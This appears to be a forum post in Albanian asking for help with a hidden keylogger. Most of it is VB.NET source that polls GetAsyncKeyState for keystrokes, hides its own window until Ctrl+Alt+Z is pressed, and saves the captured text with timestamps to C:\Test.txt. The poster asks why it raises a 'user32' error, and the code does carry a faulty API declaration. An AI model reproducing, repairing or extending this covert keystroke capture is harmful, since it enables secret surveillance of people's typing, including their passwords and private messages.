Kam nevoj me be nje program qe do te jete i fshehur apo i minimizuar por qe e lexon tastieren jam perpjekur ta bej nje por po ma qet nji eror te veogel qe sjam tuj mar vesh qe kodi

Option Strict On
Imports System.IO
Imports System.IO.IOException
Imports System.DllNotFoundException

Public Class Form1

Private Declare Function GetAsyncKeystate Lib "user32" (ByVal vkey As Long) As Integer

Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
Dim result As Integer
Dim key As String
Dim i As Integer
For i = 2 To 90
result = 0
result = GetAsyncKeystate(i)
If result = -32767 Then
key = Chr(i)
If i = 13 Then key = vbNewLine
Exit For
End If

Next i
If key <> Nothing Then
If My.Computer.Keyboard.ShiftKeyDown OrElse My.Computer.Keyboard.CapsLock Then
TextBox1.Text &= key
Else
TextBox1.Text &= key.ToLower
End If
End If
If My.Computer.Keyboard.CtrlKeyDown AndAlso My.Computer.Keyboard.AltKeyDown AndAlso key = "Z" Then
Me.Show()
End If
End Sub

Private Sub BtnHide_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles BtnHide.Click
Me.Hide()

End Sub

Private Sub TimerSave_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles TimerSave.Tick
My.Computer.FileSystem.WriteAllText("C:\Test.txt", TextBox1.Text, True)
TextBox1.Clear()
End Sub

Private Sub Form1_FormClosed(ByVal sender As Object, ByVal e As System.Windows.Forms.FormClosedEventArgs) Handles Me.FormClosed
TextBox1.Text &= vbNewLine & "Closed at:" & Now & vbNewLine
TimerSave_Tick(e, CType(sender, EventArgs))
End Sub

Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
TextBox1.Text = "Started at:" & Now & vbNewLine
End Sub
End Class

po ma qet nji eror me user 32 sjam tuj mar veshqe vendoseni ne vb.net dhe do ta shihni